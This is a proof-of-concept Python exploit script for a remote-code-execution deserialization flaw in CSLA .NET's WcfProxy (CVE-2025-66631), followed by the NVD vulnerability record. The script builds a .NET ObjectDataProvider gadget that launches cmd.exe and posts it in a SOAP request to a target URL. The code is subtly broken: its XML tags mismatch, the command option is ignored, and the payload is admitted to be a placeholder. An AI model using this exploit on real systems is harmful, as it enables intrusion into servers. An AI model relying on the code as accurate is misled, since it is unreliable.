CVE-2025-66631

# CVE-2025-66631 PoC - CSLA .NET WcfProxy Deserialization RCE # This PoC demonstrates the deserialization vulnerability in CSLA .NET WcfProxy # Using NetDataContractSerializer with gadget chain for RCE import sys import requests import argparse from urllib.parse import urljoin import xml.etree.ElementTree as ET # Gadget chain for deserialization attack # Using well-known .NET deserialization gadgets GADGET_PAYLOAD = ''' <root> <type>System.Windows.Data.ObjectDataProvider</type> <methodName>Start</methodName> <ObjectInstance> <type>System.Diagnostics.Process</type> </ObjectInstance> <MethodParameters> <anyType xsi:type="xsd:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> cmd.exe /c whoami > C:\\Windows\\Temp\\pwned.txt </string> </MethodParameters> </root> ''' def create_malicious_serialized_data(): """Create malicious serialized data for NDCS""" # This would be the actual serialized payload # In real attack, use ysoserial.net or similar tool return GADGET_PAYLOAD def exploit_wcf_proxy(target_url, command): """Exploit the WcfProxy deserialization vulnerability""" # Prepare the malicious payload payload = create_malicious_serialized_data() # WCF SOAP request with malicious serialized data headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '"http://tempuri.org/IDataPortal/Fetch"' } soap_envelope = f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <Fetch xmlns="http://tempuri.org/"> <objectType>MaliciousType</objectType> <criteria> <data>{payload}</data> </criteria> </Fetch> </soap:Body> </soap:Envelope>''' try: print(f"[*] Sending exploit payload to {target_url}") response = requests.post(target_url, data=soap_envelope, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully - check for RCE on target") else: print(f"[-] Unexpected response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-66631 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-c', '--command', default='whoami', help='Command to execute') args = parser.parse_args() exploit_wcf_proxy(args.target, args.command)

{"cve": {"id": "CVE-2025-66631", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:22.103", "lastModified": "2026-03-25T19:09:54.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CSLA .NET is a framework designed for the development of reusable, object-oriented business layers for applications. Versions 5.5.4 and below allow the use of WcfProxy. WcfProxy uses the now-obsolete NetDataContractSerializer (NDCS) and is vulnerable to remote code execution during deserialization. This vulnerability is fixed in version 6.0.0. To workaround this issue, remove the WcfProxy in data portal configurations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cslanet:csla_.net:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.0.0", "matchCriteriaId": "9F92263E-13C1-4C77-B0FA-624B9B45A8FF"}]}]}], "references": [{"url": "https://github.com/MarimerLLC/csla/issues/4001", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/MarimerLLC/csla/pull/4018", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/MarimerLLC/csla/security/advisories/GHSA-wq34-7f4g-953v", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}